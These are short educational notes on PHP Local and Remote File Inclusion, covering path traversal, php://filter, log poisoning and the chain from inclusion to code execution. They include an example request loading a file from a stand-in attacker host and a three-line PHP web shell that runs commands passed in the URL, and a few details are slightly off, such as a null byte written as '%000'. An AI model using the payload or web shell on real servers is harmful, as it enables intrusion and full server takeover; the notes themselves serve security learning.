File Inclusion

Local File Inclusion (LFI)

null byte = %000.

HUH?

user controls a file
path → server
includes local files

WHY DANGEROUS?

weak + poorly written php = vulnerable + exploitable

include() executes files as php
→ can leak sensitive files or run code

HOW EXPLOITED?

- ../../ → read system files
- php://filter → read source code
- log / session / upload poisoning → code execution

REAL IMPACT:

- read /etc/passwd
- leak config (db passwords)
- lfi → rce (full server control)

Remote File Inclusion (RFI)

running code directly from attacker's server

HUH?

user includes a file from another server (url)

WHY DANGEROUS?

server downloads + executes
attacker's file
→ instant remote code execution

HOW EXPLOITED?

- host malicious file
- pass url into parameter
- server downloads + executes

RARE NOW CUZ
ALLOW_URL_INCLUDE = OFF
(DEFAULT)
MODERN SERVERS BLOCK IT

EXAMPLE EXPLOIT

?page=http://attacker.com/shell.php

shell.php

File Edit Format View Help

```
<?php
if (isset($_get['cmd'])) {
 system($_get['cmd']);}
?>
```

LFI → INDIRECT RCE (NEEDS CHAINING)

RFI → DIRECT RCE

include($_get['page']); //
= old + dangerous

include() = executes it as php
not:
"show me a file"
it's:
"run whatever is inside this file"

Comparison

lfi
→ local files
→ needs chaining for rce

rfi
→ remote files
→ direct rce

real world

→ lfi is common
→ rfi is mostly dead
→ attackers turn lfi into rce anyway